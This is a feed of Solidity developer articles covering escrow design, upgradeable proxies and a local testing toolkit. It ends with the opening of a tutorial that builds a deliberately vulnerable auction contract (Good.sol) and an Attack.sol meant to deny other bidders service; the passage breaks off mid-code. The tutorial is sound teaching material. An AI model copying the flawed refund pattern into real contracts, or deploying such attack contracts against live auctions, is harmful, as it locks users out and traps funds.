&lt;p&gt;&lt;strong&gt;Graceful Failure: The &quot;Abandoned&quot; State&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most smart contracts only understand black and white: Success or Failure.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the campaign fails to hit its goal, the robot opens the vault and gives everyone a 100% refund. Easy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But what if the campaign succeeds, the creator takes 40% of the funds to start Phase 1, and then they vanish? You cannot pretend nothing happened. 100% of the money isn't there anymore.&lt;/p&gt;
&lt;p&gt;This is where the &quot;Defensive&quot; part of the Defensive Escrow kicks in. I added a state called &lt;strong&gt;Abandoned.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If a creator goes rogue, an Admin can press a &lt;code&gt;haltCampaign&lt;/code&gt; button. The robot permanently locks the vault.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p5lw7httxl6u6m8ljayj.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;The concept is simple: you are refunded based on the work that was never unlocked. If you pledged 10 ETH, and the creator ran away after taking 40%, the robot mathematically guarantees you get your remaining 6 ETH back.&lt;/p&gt;
&lt;p&gt;This turns a &quot;crypto scam&quot; into a structured, safe process. There is no emotional arguing over who gets what. The math just settles the difference.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Fiat Bridge: Bringing Web2 to Web3&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most Web3 systems make a fatal assumption: they assume every user already has a crypto wallet and knows how to pay gas fees. That assumption kills adoption.&lt;/p&gt;
&lt;p&gt;Now, you might be thinking: &lt;em&gt;&quot;Wait, Obinna, don't we already have smart accounts where users can log in with their Gmail? Aren't there easy fiat on-ramps and off-ramps today?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Yes, absolutely. The Web3 ecosystem has made massive strides with &lt;a rel=&quot;nofollow&quot; href=&quot;https://ethereum.org/roadmap/account-abstraction/&quot;&gt;Account Abstraction&lt;/a&gt; and &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.metamask.io/embedded-wallets&quot;&gt;embedded wallets&lt;/a&gt;. However, I still chose to architect a direct platform-to-fiat bridge called &lt;code&gt;pledgeFiatOnBehalf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why? Because true adoption requires absolute user flexibility. Some people simply do not want to go through a crypto on-ramp or manage a smart account even a hidden one. They want to type their credit card into a familiar website and be done in 30 seconds, remaining entirely Web2-native. By building a custodial bridge, we allow those users to participate natively, while their economic support is still mathematically secured in our smart contract.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qygz76vf1uwany59njv0.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 3&quot;&gt;&lt;/p&gt;
&lt;p&gt;If Bob pays $100 with a credit card on our website, our secure backend sees the payment. Then, our own &quot;Platform Wallet&quot; interacts with the smart contract, depositing $100 worth of crypto into the vault on &lt;em&gt;Bob's behalf.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We act as a custodian for Bob. The messy credit card logic stays entirely off-chain, while the blockchain remains the ultimate, pristine source of truth for the project's funding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Trust Model: &quot;Wait, isn't this centralized?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you have been reading closely, you might have noticed a recurring theme: an Admin or Platform wallet has the power to approve milestones, press the &quot;Halt&quot; button, and bridge fiat payments.&lt;/p&gt;
&lt;p&gt;A developer might look at this and ask, &lt;em&gt;&quot;Wait, Obinna, isn't this centralized?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It is a great question. Yes, there is a human element. But having an administrative role is not the same as having total system control. To understand why, you need to understand the concept of an &lt;strong&gt;Invariant.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In smart contract engineering, an Invariant is a mathematical law written into the code that can never, ever be broken. Not even by the creator. Not even by the Admin.&lt;/p&gt;
&lt;p&gt;Here is the distinction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What the Admin CAN do:&lt;/strong&gt; They can pause the protocol, tell the robot a milestone is finished, or press the &quot;Halt&quot; button to trigger refunds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What the Admin CANNOT do:&lt;/strong&gt; They cannot withdraw user funds to their own wallet. They cannot bypass the milestone math. They cannot rewrite the refund logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The real protection is not governance, it's the strict math constraints written into the robot's code.&lt;br&gt;
The trust model is simple: &lt;strong&gt;Humans can trigger states, but they cannot violate the financial laws of the system.&lt;/strong&gt; That is the boundary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If I step back and summarize the architecture, this isn't just &quot;crowdfunding with milestones.&quot;&lt;/p&gt;
&lt;p&gt;It is a system where capital is locked into predictable, mathematical rules. Failure is not a disastrous rug-pull; it is a structured, mathematically safe process. Fiat and crypto are unified so anyone can participate on their own terms.&lt;/p&gt;
&lt;p&gt;Or, to put it in one line:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Immutability handles correctness. Milestones handle trust. Invariants handle safety.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Now that we have written the rules of the protocol, how do we prove they actually work? How do we know a hacker can't break the math? In the next post, we are going to dive into &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.getfoundry.sh/forge/testing&quot;&gt;Foundry Testing&lt;/a&gt;&lt;/strong&gt;. I'll show you how I test these invariants to mathematically prove they hold up against any attack.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15983/from-promises-to-proof-designing-a-defensive-escrow-protocol</guid>
<pubDate>Mon, 27 Apr 2026 13:42:49 +0000</pubDate>
</item>
<item>
<title>Immutability by Default, Upgradeability by Necessity: Lessons from a Crowdfunding Protocol</title>
<link>https://coderlegion.com/15982/immutability-by-default-upgradeability-necessity-lessons-from-crowdfunding-protocol</link>
<description>&lt;p&gt;Smart contracts handle real value, so I believe every line of code should communicate trust.&lt;/p&gt;
&lt;p&gt;When you first start learning Solidity, you are taught one golden rule: &lt;em&gt;smart contracts are immutable&lt;/em&gt;. Deploying a contract is like launching a rocket into space, once it leaves the launchpad, you can't easily change the wiring. If there is a bug, the code is set in stone.&lt;/p&gt;
&lt;p&gt;But recently, while building &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable&lt;/a&gt;&lt;/strong&gt;: an onchain escrow protocol verified on &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygon.technology/&quot;&gt;Polygon&lt;/a&gt;&lt;/strong&gt;. I hit a classic Web3 crossroads.&lt;/p&gt;
&lt;p&gt;My stakeholder had a very practical requirement: &lt;em&gt;flexibility&lt;/em&gt;. We knew we had future upgrades planned for the protocol, but we couldn't ask our users to interact with a new contract address every single month. That is a terrible user experience and a quick way to erode trust. We needed a single, reliable entry point for users, while maintaining the ability to upgrade the underlying logic.&lt;/p&gt;
&lt;p&gt;We needed an upgradeable contract.&lt;/p&gt;
&lt;p&gt;In this post (the first of a five-part series), I want to sit down with you and share exactly how I approached &lt;strong&gt;Upgradeability&lt;/strong&gt;. If you are a beginner or intermediate developer trying to wrap your head around proxies, storage collisions, and initialization traps, this post is for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What Actually is a Proxy? (The Restaurant Analogy)&lt;/strong&gt;&lt;br&gt;
Before we talk about how to upgrade, we have to understand the architecture. How do you change code that is supposed to be unchangeable?&lt;/p&gt;
&lt;p&gt;You split the contract into two pieces. I like to explain it using a restaurant analogy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Proxy (The Building &amp;amp; Cash Register):&lt;/strong&gt; This contract has a permanent address. Users only ever interact with this contract. It holds all the money (ETH) and all the data (state).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Implementation (The Kitchen Staff &amp;amp; Recipe):&lt;/strong&gt; This contract holds the actual logic (the code for &lt;code&gt;pledge()&lt;/code&gt;, &lt;code&gt;refund()&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When a user sends money to the Proxy, the Proxy uses a special Ethereum command called &lt;code&gt;delegatecall&lt;/code&gt;. It basically says to the Implementation: &lt;em&gt;&quot;Hey Kitchen, borrow my ingredients and tell me how to process this order, but leave the money in my cash register.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If we find a bug in our recipe, the Admin simply deploys a brand new Implementation contract (a new Kitchen Staff), and tells the Proxy to start asking them for instructions instead. The building address and the cash register never change.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nc8q35dohxlp73i7ylrc.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are a few ways to build this. I chose a pattern called &lt;strong&gt;UUPS&lt;/strong&gt; (Universal Upgradeable Proxy Standard) via the &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.openzeppelin.com/solidity-contracts&quot;&gt;OpenZeppelin library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Without getting too bogged down in jargon, older patterns (like Transparent Proxies) put the &quot;upgrade manager&quot; in the Proxy itself. UUPS puts the &quot;upgrade manager&quot; in the Implementation contract. I chose UUPS because it makes the Proxy lightweight, which makes transactions cheaper (lower gas fees) for our users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Constructor Trap (And How to Get Hacked)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you write a normal smart contract, you use a &lt;code&gt;constructor()&lt;/code&gt; to set up your initial variables (like assigning the &lt;code&gt;owner&lt;/code&gt;). Constructors run exactly once, during deployment.&lt;br&gt;
But in a proxy setup, the Proxy deploys after the Implementation. The Proxy can't trigger the Implementation's constructor. So, the golden rule of upgradeability is: &lt;strong&gt;Do not use constructors. Use an &lt;code&gt;initialize()&lt;/code&gt; function instead.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At first, it feels like you can just swap the words and move on. But here is the trap: &lt;em&gt;The implementation contract is still a live contract sitting on the blockchain&lt;/em&gt;. Imagine you deploy your Implementation contract, and it has an &lt;code&gt;initialize()&lt;/code&gt; function that sets the owner. Your Proxy connects to it and calls &lt;code&gt;initialize()&lt;/code&gt;. Great! Your Proxy is the &lt;code&gt;owner&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what about the Implementation contract itself? It's just floating out there. If you don't lock it, a hacker can call &lt;code&gt;initialize()&lt;/code&gt; directly on the Implementation contract, make themselves the owner, and potentially command it to self-destruct. If the Implementation is destroyed, your Proxy is permanently broken.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4lus79cngg2nkb7dzwqb.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;To prevent this, my approach is strict:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All protocol setup goes into &lt;code&gt;initialize()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I immediately lock the Implementation contract using a special constructor.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
    // This locks the Implementation contract so no one can initialize it directly
    _disableInitializers(); 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From a mindset perspective: &lt;strong&gt;Assume attackers will interact with your implementation contract directly.&lt;/strong&gt; Once you internalize that, locking it stops being a confusing &quot;trap&quot; and simply becomes part of your default security posture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Storage Management: The Giant Spreadsheet&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Upgradeable contracts are notorious for &quot;storage collisions.&quot;&lt;/p&gt;
&lt;p&gt;Think of smart contract storage like a giant, invisible spreadsheet. Row 1 is &lt;code&gt;owner&lt;/code&gt;. Row 2 is &lt;code&gt;totalRaised&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When you upgrade to Implementation V2, the Proxy still uses that exact same spreadsheet. If you accidentally write V2 so that a new variable called &lt;code&gt;isCampaignActive&lt;/code&gt; is placed in Row 1, you just overwrote the &lt;code&gt;owner&lt;/code&gt;! That is a storage collision, and it is catastrophic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1080j4lu5eeb66270z71.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 3&quot;&gt;&lt;/p&gt;
&lt;p&gt;To prevent this, my approach is conservative and explicit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Append-only storage:&lt;/strong&gt; Never reorder variables. Never delete variables.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Storage Gaps:&lt;/strong&gt; I use the classic &lt;code&gt;uint256[50] private __gap;&lt;/code&gt; at the bottom of my contracts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A storage gap is literally just claiming 50 empty rows at the bottom of your spreadsheet. If I ever need to add a new variable in V2, I take one row away from the gap (&lt;code&gt;uint256[49] private __gap;&lt;/code&gt;) and add my new variable.&lt;/p&gt;
&lt;p&gt;Why gaps instead of newer, complex patterns (like &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://eips.ethereum.org/EIPS/eip-7201&quot;&gt;ERC-7201&lt;/a&gt;&lt;/strong&gt;)? Because it's simple, battle-tested, and auditors easily understand it. Storage layout is not &quot;code you can refactor&quot;; it's &quot;state you must preserve forever.&quot; Discipline is your real protection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hardest Lesson: Hunting for Ghosts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The single most frustrating moment I had while setting up this project in &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.getfoundry.sh/&quot;&gt;Foundry&lt;/a&gt;&lt;/strong&gt; (my testing framework) came down to one line of code.&lt;/p&gt;
&lt;p&gt;In Web3, we use something called a &lt;code&gt;ReentrancyGuard&lt;/code&gt; to stop hackers from double-spending money. Because I was building an upgradeable contract, I kept trying to import &lt;code&gt;ReentrancyGuardUpgradeable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It just wasn't there. Most older tutorials, blog posts, and AI tools told me to use the Upgradeable version, so it felt like I was doing something wrong.&lt;/p&gt;
&lt;p&gt;What finally clicked was reading the source code of the newest OpenZeppelin version. I realized that the standard &lt;code&gt;ReentrancyGuard&lt;/code&gt; no longer relied on a constructor. It used internal logic that worked perfectly fine behind a proxy. I didn't need an upgradeable version anymore; I could just use the normal one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import { ReentrancyGuard } from &quot;@openzeppelin/contracts/utils/ReentrancyGuard.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The frustrating part wasn't the code, it was the mismatch between my old mental model (&quot;everything must have an Upgradeable suffix&quot;) and reality (some contracts are now inherently proxy-safe).&lt;/p&gt;
&lt;p&gt;It forced a deeper shift in how I work: &lt;strong&gt;I stopped coding from patterns, and started reasoning from first principles.&lt;/strong&gt; Upgradeability isn't just about making a proxy; it's about understanding how every single tool you import behaves under the hood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If a junior developer asked me today, &quot;Obinna, should I make my next project upgradeable?&quot; my answer would be:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It depends but try not to use it unless you have a clear, defensible reason.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Upgradeability is not a free feature. You gain flexibility, but you introduce new attack surfaces and complexity. If you can ship your protocol as immutable, do that first. It gives you a simpler mental model, fewer failure modes, and it is vastly easier to secure.&lt;/p&gt;
&lt;p&gt;Only reach for upgradeability if the system will hold significant user funds, has evolving logic, or needs long-term maintenance. At that point, upgradeability becomes a risk management tool, not a convenience.&lt;/p&gt;
&lt;p&gt;My guiding principle is this: &lt;strong&gt;Immutability by default, upgradeability by necessity.&lt;/strong&gt; If you can't clearly explain why it must be upgradeable, who controls the upgrades, and how users are protected, then you aren't ready to use it yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deployment Update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;MilestoneCrowdfundUpgradeable&lt;/strong&gt; contract has been successfully deployed on &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygon.technology/&quot;&gt;Polygon&lt;/a&gt;&lt;/strong&gt; (Chain ID: 137), marking the transition from design and testing into a live, verifiable environment.&lt;/p&gt;
&lt;p&gt;Here are the core deployment details:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Proxy Address:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implementation Address:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625&quot;&gt;https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This deployment reflects the architectural decisions discussed earlier: a proxy-based upgradeable system with clearly defined control boundaries and fund flow roles. With the contract now live, the focus shifts from infrastructure to behavior, how funds move, how milestones are enforced, and how the protocol responds under real-world conditions.&lt;/p&gt;
&lt;p&gt;In the next post, we'll dive into the actual mechanics of the MilestoneCrowdfundUpgradeable protocol itself. I'll walk you through how we designed the escrow, the math behind milestone-based releases, and the trust model that protects users if a creator decides to walk away.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15982/immutability-by-default-upgradeability-necessity-lessons-from-crowdfunding-protocol</guid>
<pubDate>Mon, 27 Apr 2026 13:41:35 +0000</pubDate>
</item>
<item>
<title>Why I Built RivETH: A Bare-Metal Toolkit for Ethereum Devs</title>
<link>https://coderlegion.com/12311/why-i-built-riveth-a-bare-metal-toolkit-for-ethereum-devs</link>
<description>&lt;h3 id=&quot;as-a-web3-developer-the-hell-loop-of-writing-code-compiling-and-testing-is-where-we-spend-90-of-our-time-&quot;&gt;As a Web3 developer, the &quot;hell loop&quot; of writing code, compiling, and testing is where we spend 90% of our time...&lt;/h3&gt;
&lt;p&gt;...for many, that loop is broken.&lt;/p&gt;
&lt;p&gt;We either rely on isolated web-based IDEs, which feels disconnected from our local VS Code environment, or we spend hours writing boilerplate frontend code just to test a single onlyOwner function in a local Hardhat node.&lt;/p&gt;
&lt;p&gt;I wanted something faster. Something that lived in my IDE but gave me the visual power of a dashboard. So, I built RivETH.&lt;/p&gt;
&lt;p&gt;The Problem: The &quot;Context-Switch&quot; Tax&lt;br&gt;
When you’re deep in Solidity, every time you have to leave your editor to copy-paste an ABI into a frontend or configure a complex deployment script, you lose momentum.&lt;/p&gt;
&lt;p&gt;Existing tools often fall into two camps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Too Heavy&lt;/strong&gt;: Full-blown frameworks that require their own learning curve.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Too Manual&lt;/strong&gt;: Using the terminal for everything, which makes visualizing contract state a nightmare.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-solution-riveth&quot;&gt;&lt;strong&gt;The Solution: RivETH&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;RivETH is a lightweight, open-source Ethereum smart contract development toolkit that runs locally and in your browser. It doesn't use heavy frameworks and complex tooling. It’s built on the &quot;Holy Trinity&quot;: HTML, CSS, and Vanilla JavaScript; plus a bit of ethers.js from NodeJS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How it Works (The Bare-Metal Flow)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;RivETH bridges the gap between your terminal and your browser using a simple, high-performance workflow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Write&lt;/strong&gt;: You write your Solidity in VS Code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compile&lt;/strong&gt;: You run a simple make [FileName] command in your terminal. This generates the artifacts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Load&lt;/strong&gt;: RivETH uses the Fetch API to grab that ABI and Bytecode directly from your project files (served via the VS Code Live Server extension).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interact: RivETH dynamically maps your ABI to a UI.&lt;/p&gt;
&lt;h3 id=&quot;key-features-that-change-the-game&quot;&gt;&lt;strong&gt;Key Features That Change the Game&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Smart Constructor Mapping&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deployment shouldn't be a guessing game. RivETH provides a single, smart input field for your constructor. It uses the data types from your ABI as placeholders.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Need to pass an array? Just use [&quot;0xAbc&quot;,&quot;0xDef&quot;].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Multiple parameters? Just use a comma and a space: &quot;MyToken&quot;, 18.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s6oy2re9hh37ffylzv3n.png&quot; alt=&quot;Pass a constructor&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dedicated Function UI&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once deployed, RivETH generates individual buttons and input fields for every function parameter in your contract. The functions are just a button click away from being called. Also, the transaction logs are updated whenever state-changing functions are called and they can be looked into for gas costs cand calldata.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lg26cpkawf2o6qq09pne.png&quot; alt=&quot;Function UI&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Integrated Hardhat Wallet&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RivETH connects to your Hardhat node and gives you a dropdown of all 20 pre-funded accounts. You can see their balances in real-time and swap signers with one click.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5ws3uwkm0xxlrge3vufa.png&quot; alt=&quot;Hardhat default accounts&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Terminal Debug Logs in Hardhat node&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While you interact with your contract in the browser, the local Hardhat node runs in the background and can give a &quot;trace&quot; when errors come up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fj546ay0lfj0obzu3nnb.png&quot; alt=&quot;Hardhat terminal logs&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ETH converter&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While this might be seen as a simple feature, RivETH provides a dedicated ETH converter to help the developer quickly convert between WEI and ETH.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r5n5veh8qrtaql7pkouq.png&quot; alt=&quot;ETH converter&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why &quot;Bare-Metal&quot; Matters&lt;/strong&gt;&lt;br&gt;
By avoiding heavy frontend frameworks, RivETH is incredibly snappy. It doesn't need to &quot;rebuild&quot; or &quot;hot-reload&quot; a massive JS bundle. You just hit Load, and it instantly fetches the latest local artifacts.&lt;/p&gt;
&lt;p&gt;It’s a tool built for developers who want to stay close to the metal and focus on what matters: writing badass smart contracts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get Started&lt;/strong&gt;&lt;br&gt;
If you’re tired of the friction in your local dev environment, give RivETH a spin. It takes a few seconds to set up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Download and unzip in one go
curl -L -O https://github.com --output RivETH.zip &amp;amp;&amp;amp; unzip RivETH.zip -d temp &amp;amp;&amp;amp; mv temp/RivETH-main/* . &amp;amp;&amp;amp; rm -rf temp RivETH.zip

# install dependencies and use offline!
cd RivETH
npm insall
Check out the full documentation here: temi-tade.github.io/RivETHDocs/docs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’m looking to grow the community and would love to see what you build with it. Drop a star on GitHub and let’s make Ethereum development faster for everyone.&lt;/p&gt;
&lt;h3 id=&quot;end-notes&quot;&gt;&lt;strong&gt;End Notes&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;While RivETH is great for testing your contract visually, which is fantastic for development mode, further testing should still be done with advanced tools like foundry for production-grade contracts.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/12311/why-i-built-riveth-a-bare-metal-toolkit-for-ethereum-devs</guid>
<pubDate>Mon, 02 Mar 2026 09:39:02 +0000</pubDate>
</item>
<item>
<title>Executing Denial of Service on smart contracts</title>
<link>https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</link>
<description>&lt;p&gt;&lt;strong&gt;️ Deny users from accessing a smart contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/16539849/174761638-cf7c28d6-f654-4f5b-8fab-569ddc968941.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Overview&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.&lt;/p&gt;
&lt;p&gt;Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⚒️ Build&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Setting up Foundry&lt;/p&gt;
&lt;p&gt;To start the project, open up your terminal and create a new project directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir denial-of-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's start by setting up Hardhat inside the denial-of-service directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd denial-of-service
forge init .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Write the Smart Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create the auction contract, named Good.sol, with the following code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}(&quot;&quot;);
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.&lt;/p&gt;
&lt;p&gt;Now, create a contract named Attack.sol within the contracts directory and write the following lines of code&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import &quot;./Good.sol&quot;;

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}
